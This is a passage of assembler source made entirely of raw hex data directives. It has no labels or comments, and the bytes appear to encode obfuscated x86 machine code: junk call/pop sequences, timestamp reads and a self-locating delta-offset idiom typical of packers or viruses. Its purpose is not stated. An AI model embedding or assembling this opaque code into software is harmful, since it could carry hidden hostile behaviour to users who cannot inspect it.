		dd 24448104h, 1C04h, 0C3514100h, 0A1DB29D3h, 0AD9D4901h
		dd 2DB50300h, 0BA061332h, 6, 8B665F50h,	0E8C38BF9h, 8
		dd 0F83DB9D4h, 838359B9h, 11458529h, 0C15F0613h, 6A04E8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 145223C3h, 660A3795h, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 60D441C3h, 0DD852957h
		dd 5F06132Bh, 0DE9h, 50AF8900h,	1C1D0938h, 6F4F318Ah, 0E9618CAEh
		dd 7, 0E9A6911Ch, 2BF8C69Ah, 56006AD8h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 1EAE518Fh
		dd 29BD8BC5h, 5806131Bh, 6E8h, 1F07F500h, 2BE656D7h, 132091B5h
		dd 0D82B5E06h, 1AD880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0B58BE4C3h, 6131FE9h
		dd 31A1B58Bh, 95890613h, 6132C1Dh, 7B9h, 0C8B0F00h, 0F000000h
		dd 684h, 61B52900h, 8306130Dh, 6A00C1h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0E50420C3h
		dd 768D1E66h, 0D93B3068h, 139860Fh, 8A0F0000h, 6, 10559589h
		dd 8C660613h, 61FC60D9h, 0F04C1F6h, 0F984h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0E91CD69Ch, 6, 57412C6Ch, 95FF91CAh,	6132111h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 50C35343h, 196DC746h
		dd 5BF18B46h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	0AEC35040h, 0C8144765h,	0C32B8395h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0FBC35545h, 91865DE0h
		dd 89ED8568h, 132539BDh, 8343D06h, 860F0000h, 4Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 63C35646h, 2CAD3158h
		dd 4D64CB70h, 4AE9h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 5E013A5h, 1D09BD8Bh, 0C08B0613h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D3C35343h
		dd 7AABAA42h, 8B11B28Ch, 0F8D88BC3h, 85C7F18Bh,	61316A1h
		dd 17FC935Fh, 1575BD8Bh, 0C08B0613h, 0A09BDF81h, 0BD814A74h
		dd 6130B21h, 7D0h, 29850Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 770B77C3h
		dd 0FF31FA99h, 130B2185h, 0FFF78B06h, 130B21B5h, 0D9952906h
		dd 89061306h, 132A15B5h, 0A995FF06h, 6A06130Dh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 52E9C353h, 0D1D78072h, 78B89070h, 6A123456h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 62A8C351h, 9EBB5C54h, 12619D89h, 8D890613h, 6130EADh
		dd 0E3949D8Dh, 0BAE90616h, 6AFFFFF7h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 7AC6C352h
		dd 65442799h, 6672B3F5h, 0A1ACF781h, 39958960h,	0F06131Dh
		dd 0C87h, 0E1950900h, 106132Bh,	13064DBDh, 0C18B6106h
		dd 0EBFBB70Fh, 4, 0FB8B6600h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0F1C35141h,	8398B409h, 8B0F7870h
		dd 6, 2471B589h, 81660613h, 8DABF9C6h, 131EA985h, 0FEBF0F06h
		dd 52505090h, 10E85250h, 94000000h, 0A47C0A5Eh,	7C932BC7h
		dd 5D78039Fh, 5E50E32Eh, 585A310Fh, 8B66310Fh, 90585AF8h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F5C35545h
		dd 0A2ED6F24h, 95896F8Fh, 6132D29h, 0BD8B006Ah,	61322C5h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h
		dd 5AE358C3h, 9CB096C0h, 34858DDEh, 6A0616E6h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0D527C356h, 0C3406FC1h, 0D9BD89F1h, 83061313h, 6A05C0h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 66AA71C3h, 539743BFh, 0CE9h,	651C4600h, 1688801Dh, 87E0C55Ah
		dd 0E9905E8Eh, 9, 0C9A72D4Ch, 0ACDBAE84h, 60605051h, 310F5250h
		dd 13E9585Ah, 68000000h, 14AAA518h, 2257E9EDh, 2695BD52h
		dd 8A5701E7h, 6161557Ah, 89006A90h, 131E7995h, 6A006A06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0CB10C357h, 0B58BB944h, 6131465h,	7F195FFh
		dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0DAD2CBC3h, 9D8D0468h, 616A36Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 59C35242h, 82FE842h
		dd 0D3F78166h, 6AD3FFC3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0EC5BC355h,	2E12E538h
		dd 0A05B509h, 85FF0613h, 61316D9h, 0DE9h, 0F89CCA00h, 8BB4727Eh
		dd 55CB5FE3h, 0BEE9C1BCh, 0E800000Dh, 0
		dd 3EED815Dh, 0F0616E6h, 38Eh, 0FA8B6600h, 0B21BD81h, 7D00613h
		dd 860F0000h, 16Ch, 0F7BF0F56h,	0BD29525Fh, 61304CDh, 0CD9D8B5Fh
		dd 6A061309h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0D19DC351h, 26BEFFFEh,	100E381h
		dd 0BD8B0000h, 61325DDh, 850FDB0Bh, 0C8h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 16h, 0D4C35141h, 0BD8BC026h
		dd 6132A75h, 0E41BBD83h, 0F000616h, 3C84h, 55BD8B00h, 0E9061331h
		dd 0A3h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 15h,	1CC35646h, 0FE9E0h, 4530000h, 47413C6Eh, 0E68D0EF0h
		dd 173DBE64h, 1B85C72Eh, 10616E4h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0E400C355h, 6B0A9712h, 89E45B7Dh, 1330759Dh,	39E906h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 27EC3h, 858FB8F4h, 0E41B85C7h, 616h, 60500000h
		dd 23D19D89h, 0BF0F0613h, 8D5E61C1h, 1309CD9Dh,	9D896006h
		dd 61321DDh, 61CB8B66h,	0FEFF2381h, 6AFFFFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 27F3F1C3h
		dd 6E952h, 1B260000h, 2E741FEEh, 0F3B70F5Eh, 89DB8C66h
		dd 13214DB5h, 4C3F606h,	10840Fh, 95FF0000h, 6132111h, 8B6650FCh
		dd 240489F0h, 86E9F18Bh, 6A000004h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A210C350h
		dd 40A9F794h, 899C793Dh, 13353985h, 0E900B006h,	9, 11E256BBh
		dd 8955782h, 6A70E642h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 72B8C356h, 85CDEC3Eh
		dd 71E48A70h, 31B58BFCh, 0F061312h, 6AD8B6h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 8B0B3BC3h
		dd 94626808h, 14E9h, 0BE09AB00h, 0EE917488h, 45236EF5h
		dd 0A9CA9F6Dh, 2785BABDh, 6BA20h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 7EF4AEC3h
		dd 458D0156h, 0F06130Ah, 685h, 399D8900h, 8B061301h, 0DCBF66C3h
		dd 0CE974h, 82040000h, 7462880Ch, 0A82DFF03h, 0E8C18E88h
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 6E95641h, 0D1000000h, 0E6F0EF1Ah, 0E2F76621h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B7C35646h
		dd 4DB230CEh, 0D362A14Ah, 0D82BFA8Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 24C35141h, 13E95693h, 19000000h
		dd 5004EDB1h, 5AB5EA67h, 0D28146A2h, 4BE24048h,	505E8419h
		dd 57006A93h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 424CA399h, 61CAC71Dh, 0B5FFFC79h, 6130B21h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 9EC35040h
		dd 3F8876Ah, 0D1B50923h, 0FF061325h, 130DA995h,	598D0106h
		dd 0B0061313h, 75BD8B00h, 0E6061315h, 56006A70h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 2FCA75Ah, 5B46BE86h,	71E446EDh, 85B58B57h, 5E06131Dh
		dd 830F613Ch, 265h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 19C35242h, 37430549h,	0E68166F5h, 0B60FA8D0h
		dd 0FA8B66D8h, 6BAh, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 9B372C1Ah, 0E9C38B1Fh
		dd 0Dh,	0E537A687h, 92F890F7h, 0A02DE7B2h, 4E8C137h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0EBC35141h, 0CF33CE18h
		dd 8B5D2E6Fh, 1323C1BDh, 0E2F76606h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 22C35747h, 6D55822Fh, 6AD82Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0DF359BC3h, 0A1B023Bh, 6A58F937h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 74D2C356h
		dd 64B98D33h, 0B58B4B4Bh, 61314D1h, 880FD82Bh, 159h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A6C35646h, 0C36A72ACh
		dd 393AD7E3h, 7B9F5h, 0DE810000h, 61F6440Eh, 0C183F5h
		dd 0FD93BF9h, 11C86h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0E860F99Ch, 0Ch, 0D876BD4Dh
		dd 0B39153BDh, 718327EEh, 22999589h, 615B0613h,	66D98C66h
		dd 0C1F6FA8Bh, 0B7840F04h, 6A000000h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 452DC356h
		dd 0E9993A37h, 12h, 0FD7C39E4h,	0D722BA08h, 0DB33EC3h
		dd 3AEA2A08h, 0B58BE6DEh, 6130DB5h, 211195FFh, 7E90613h
		dd 29000000h, 330D7494h, 0F5B8AB4h, 688h, 74DF8100h, 2B315428h
		dd 50006AC3h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 3C260829h, 0F18D09D9h, 3D061324h, 834h
		dd 28860Fh, 42E90000h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 6014C351h
		dd 4AB866F5h, 0C08B6175h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 69C35747h, 8BC38B61h,	50006AD8h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 2146C2C9h, 146185C7h, 0D7310613h, 0C08B3A3Eh, 860Fh
		dd 0BD810000h, 6130B21h, 7D0h, 53850Fh,	6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 232120C3h, 131B0DB5h, 2185FF06h, 6A06130Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 406CC351h, 0D9A8E426h, 71E5617Eh, 0A8A11BEh,	21B5FF11h
		dd 8906130Bh, 13235DB5h, 0A995FF06h, 6A06130Dh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0F668C357h, 8160D8E3h, 0FAFFB24h, 0BF0FF9B7h, 8B4090FFh
		dd 131055B5h, 0A5BD8306h, 61320h, 0CE840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0C33FBFC3h, 7E966h, 7E050000h, 57657EF5h, 0C1BD830Eh
		dd 61322h, 96840Fh, 5E80000h, 0BA000000h, 0E034FA1Ah, 2085BD89h
		dd 665E0613h, 2CA6E781h, 20A595FFh, 8B660613h, 7DB589F3h
		dd 0B061330h, 69840FC0h, 89000000h, 1328C1BDh, 8D8D8D06h
		dd 6A06134Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 5DB1C353h, 9E9h, 62DDCD00h, 6B0EE677h
		dd 5B83CD1h, 8B000000h,	131969B5h, 6AE1FF06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 2983C353h, 0BD0B6D2Bh, 6133205h, 1179BD83h, 0F000613h
		dd 59784h, 0CF816000h
		dd 46FC12D7h, 0FF63F181h, 83612F98h, 1322C1BDh,	840F0006h
		dd 57Ch, 169DB58Bh, 8D8D0613h, 6131B21h, 1F2DB58Bh, 1C70613h
		dd 44B27C84h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 17h,	7BC35545h, 29598FBCh, 1321D98Dh, 0CB018106h, 6A1499CFh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 7363C355h, 91435F2Bh, 1A820Fh, 0E8560000h
		dd 12h,	9DB42C51h, 669453EAh, 3DB5DF6Fh, 3225AA1Ch, 5E5F15E2h
		dd 340441C7h, 8BCE706Bh, 44181F3h, 31D6D710h, 7E8h, 3FBBEB00h
		dd 0A8528FEFh, 163D8D01h, 6A5F0613h, 0F38B6600h, 1B21858Dh
		dd 85310613h, 6131985h,	0FE890h, 0D8D90000h, 0F4057006h
		dd 8149FD6Fh, 5212E173h, 138F0F4Dh, 0E9000000h,	0Eh, 1253E8E6h
		dd 0DE37195Ch, 66705119h, 505F5C73h, 90FB8B66h,	9E5B58Bh
		dd 95FF0613h, 6131179h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 59C35646h, 4212F17Dh,	0B9666033h, 56607CA7h
		dd 14E958h, 0E2710000h,	417C7D52h, 0AF115987h, 64BB52E8h
		dd 4693B53Dh, 61610950h, 1B218D8Dh, 6A0613h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 6089D3C3h
		dd 1C7h, 800F0000h, 5, 11F78166h, 441C749h, 0
		dd 9E9h, 5775C800h, 1A639DEh, 0C00B63E0h, 4A840Fh, 0BF0F0000h
		dd 8D8D8DFAh, 0E906134Fh, 13h, 724C3385h, 69122ECAh, 0EFDE15BCh
		dd 29A4FE74h, 0B8C3B2F6h, 5, 0FFF18B66h, 55006AE1h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 0F091BEF0h, 1B218D8Dh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 662AFCC3h, 0C7B9C0BEh
		dd 0AA727C01h, 53006A44h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0AB9FB2Eh, 557036FDh
		dd 830FC953h, 0
		dd 0CFCB0181h, 8B661499h, 359589F9h, 0C706132Bh, 753C0441h
		dd 6ACE78h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 8137BFC3h, 0D7100441h, 6A31D6h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 2C931BC3h
		dd 1ABDC99Eh, 218D3183h, 6A061323h, 8DF98B00h, 131B2185h
		dd 1F810F06h, 0F000000h, 198Eh,	13E800h, 0C9D30000h, 0A8F896D8h
		dd 0B8315DADh, 8D51ECA2h, 0BEBFA67Fh, 0E9505EE6h, 10h
		dd 8C3FA23Dh, 18E7B741h, 0E6F4160Ah, 8D308F3Dh,	0E9240489h
		dd 0Ch,	1164CF02h, 0B7C0C10Ch, 0FA34241Ch, 117995FFh, 6A0613h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0B3A39C3h, 0ADB58Bh,	0F38B0613h, 1B218D8Dh, 6A0613h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 4353E7C3h, 1C7h, 0BD230000h,	613304Dh, 441C7h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8B5BC350h, 130D61BDh, 0FC00B06h, 5F84h, 8D8DF800h
		dd 6134F8Dh, 0EA59D89h,	5B80613h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 2232C350h, 68F0Fh, 0E6810000h, 51FAABh, 6AE1FFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0C06C35C3h, 0A223BDE8h, 1B218D8Dh, 6A0613h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0FD8765C3h, 1B8D3591h, 1C7CE8Fh, 54CA95A5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 4AC35646h, 0FAB7FE59h
		dd 718589AFh, 81061320h, 99CFCB01h, 50006A14h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 790802B6h
		dd 0A9F8CDB1h, 441C713h, 0CE5F5969h, 44181FCh, 31D6D710h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BEC35646h
		dd 5156006Ah, 858D5F5Fh, 6131B21h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0FBC35646h,	0C5488D10h, 3DB58916h
		dd 50061319h, 13E8h, 4A47EB00h,	572685D3h, 0FAD10159h
		dd 680B3A39h, 0F6DB58Fh, 2404895Eh, 117995FFh, 0BD8B0613h
		dd 6131991h, 1B218D8Dh,	5E90613h, 0B8000000h, 1C98C78Bh
		dd 1C7h, 0B5230000h, 61315D5h, 441C7h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 1BE3C353h, 860FA1B5h, 0
		dd 840FC00Bh, 4Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 73C35747h, 8DF78B66h,	134F8D8Dh, 5B806h
		dd 0E1FF0000h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0D0C35040h, 3A1D4784h, 60E9CA03h, 0E8FFFFF2h, 10h
		dd 0EAFEC251h, 8486D6B6h, 0F397C1ADh, 63FDF98Dh, 34BDBD89h
		dd 5F500613h, 6AC18B5Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0E972C353h,	0Ah, 2D35B1B1h
		dd 2366A036h, 4EB7CBDh,	0
		dd 10E9BD8Bh, 0F98B0613h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 6FC35747h, 0E4E801DEh, 3880F7Ah, 0F000000h
		dd 858DF0BFh, 6131EA9h,	15E59D31h, 0BE90613h, 53000000h
		dd 76DF5AF0h, 0DB34538Ah, 509030C2h, 185CBF52h,	310F5F2Dh
		dd 5AFA8B66h, 0E9905058h, 8, 2458401Eh,	4E2D1D60h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 9589CFC3h, 613232Dh,	1CC9BD89h, 6A0613h, 0FDAAB2BFh
		dd 0CF858D4Bh, 8B0616F5h, 1334E1BDh, 61BD8B06h,	83061309h
		dd 0B53105C0h, 6132835h, 3A94BF57h, 505F139Eh, 2519BF66h
		dd 6A240489h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0FE921h, 536F0000h, 0AC44508Bh, 0B0CF308h
		dd 80C98B2Ah, 6A006A84h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 58AFC357h, 0EFBA9FDDh
		dd 113DBD89h, 0E9600613h, 9, 96978E7Ch,	63CB4D0Dh, 0D0BF0FE9h
		dd 0F195FF61h, 6A061307h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 917DC357h, 33BBDFB5h
		dd 4BBF6652h, 9D8D5FDDh, 616A36Ah, 68F0Fh, 0BD8B0000h
		dd 61316EDh, 6AD3FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0FFDAA8C3h, 1316D985h, 6840F06h
		dd 29000000h, 132CD9B5h, 8B4E906h, 0E80000h, 5D000000h
		dd 0F5D9ED81h, 0BD030616h, 61311D9h, 0B21BD81h,	7D00613h
		dd 860F0000h, 185h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 2AC35747h, 80603DF6h,	61F539F7h, 0E472EF81h
		dd 9D8B0D4Ah, 6131111h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0C6C35242h, 2FE84259h, 0C8A27C08h, 0E381C3h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 3830C351h, 8B5B3A69h, 130521BDh
		dd 0FDB0B06h, 0B085h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0E9F78B5Bh, 5,	73F78E9Ch
		dd 26BD831Fh, 616F4h, 3A840Fh, 0C6810000h, 7CD59D4h, 2A258D89h
		dd 75E90613h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0A404C356h,	33E2184Fh
		dd 99BD8B51h, 5F06132Ah, 0F42685C7h, 10616h, 810F0000h
		dd 0Ah,	4890Fh,	0BF660000h, 2DE9E5E9h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 3650C352h, 0F28B6650h, 2685C75Fh, 616F4h, 0F9000000h
		dd 11119D8Dh, 81500613h, 1D6623D6h, 23815F24h, 0FFFFFEFFh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 75C35040h
		dd 27B378Ch, 0E341C0DBh, 8BF98B8Dh, 1314E1BDh, 0DB8C6606h
		dd 2BA1BD03h, 0C3F60613h, 69840F04h, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0E644C352h, 0D70167CDh, 0FFFE3558h, 13211195h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0CCDF7060h, 9D31A288h, 6131B79h, 0F78B5690h,	850F505Fh
		dd 6, 6076B660h, 0BF906161h, 665CE412h,	490E9h,	9B58B00h
		dd 0B0061305h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0D59978FFh, 6A70E643h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 6A5DC356h, 8EF4FE44h, 0FBCD83Fh, 71E4F6BFh
		dd 1119B58Bh, 0B60F0613h, 55006AD8h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0F79B8F2Eh
		dd 0E45800F6h, 6BABDAAh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E110C356h
		dd 5AA43191h, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 5C6AC5C3h, 14E9h, 93543700h, 0AA59DEF7h
		dd 39BC6D50h, 0B92185E4h, 0C1532D40h, 0C28B60FDh, 61FBB70Fh
		dd 304E8C1h, 131335B5h,	1BD8B06h, 66061315h, 0BE9E2F7h
		dd 0AB000000h, 6BB97AE6h, 7E41753Ah, 0D82BB119h, 1BA19D89h
		dd 52500613h, 0AE8h, 8916A900h,	75C08F4Dh, 5E2A7BDFh, 241C895Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 10C35242h
		dd 89B0236Bh, 1334B18Dh, 21B5FF06h, 6A06130Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0B42DC352h, 9E945DCh, 0E0000000h, 0F40931DCh, 0FD880D33h
		dd 0DA995FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 6BF776C3h, 6035B2C8h, 13F5BD8Bh
		dd 0B00613h, 0EE8h, 57EE2300h, 48A5C651h, 3E7FD5EDh, 5EE5A157h
		dd 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0E952A1C3h, 0Ah, 404A42B3h, 16E5B4D4h, 0E45E987Dh
		dd 1DB58971h, 3C06131Bh, 8E830F61h, 6A000002h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 8EBAC356h, 0B8295E25h, 0DE81666Ah, 0B60F1DA2h, 98589D8h
		dd 0BA061307h, 6, 4C68160h, 2B38E28Ch, 1300D995h, 0C38B6106h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 68C35242h
		dd 0B50B3B52h, 61306C9h, 8E26D781h, 0E8C15FEBh,	53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0EC0373BBh, 0DF816A20h, 33CB5225h, 66E2F766h, 89E6A0BFh
		dd 1311619Dh, 6AD82B06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 9290C353h, 38FFA8DAh
		dd 58F0B70Fh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	0D6C35646h, 0F3816019h,	3CF85228h, 6850Fh, 8E0F0000h
		dd 0
		dd 0FD82B61h, 18888h, 0D6816600h, 7B96079h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B45C352h, 1312ADBDh, 0C18306h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 19C35646h, 9200F079h
		dd 1E65BD29h, 8B660613h, 0FD93BF7h, 12886h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 539E3633h, 0E816AC8h, 14E9h,	2D06AF00h, 0DF13CA89h
		dd 289A9349h, 9EA5C46Dh, 0F021AAC0h, 0D98C6658h, 1B8560BEh
		dd 0A4F7811Eh, 0F6520444h, 840F04C1h, 0B6h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0B1C35747h, 4B47523Ch
		dd 95FF2D8Ch, 6132111h,	52006A5Bh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 5EA3A396h, 0B286DC5Fh
		dd 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 343D64C3h, 0F000008h, 4186h, 7E800h, 509C0000h
		dd 0D17B7C0Fh, 9D2960ACh, 6130DD1h, 61C4F580h, 43E95Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 712244C3h, 5E4FBA7Fh, 0C08B8853h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8BC35747h, 8BC38B40h
		dd 0CD85C7D8h, 0DF061309h, 6A5AFE07h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0FD5C352h
		dd 1F89h, 13E800h, 0F8920000h, 3D24AE4h, 562A1CBDh, 0E37C5733h
		dd 53E41F5Eh, 8A0F2Eh, 5F000000h, 0B589C08Bh, 6131415h
		dd 0B21BD81h, 7D00613h,	850F0000h, 2Dh,	2185FFFCh, 6A06130Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0A968C353h, 5759B5E3h, 608DB812h,	21B5FFF9h
		dd 6A06130Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
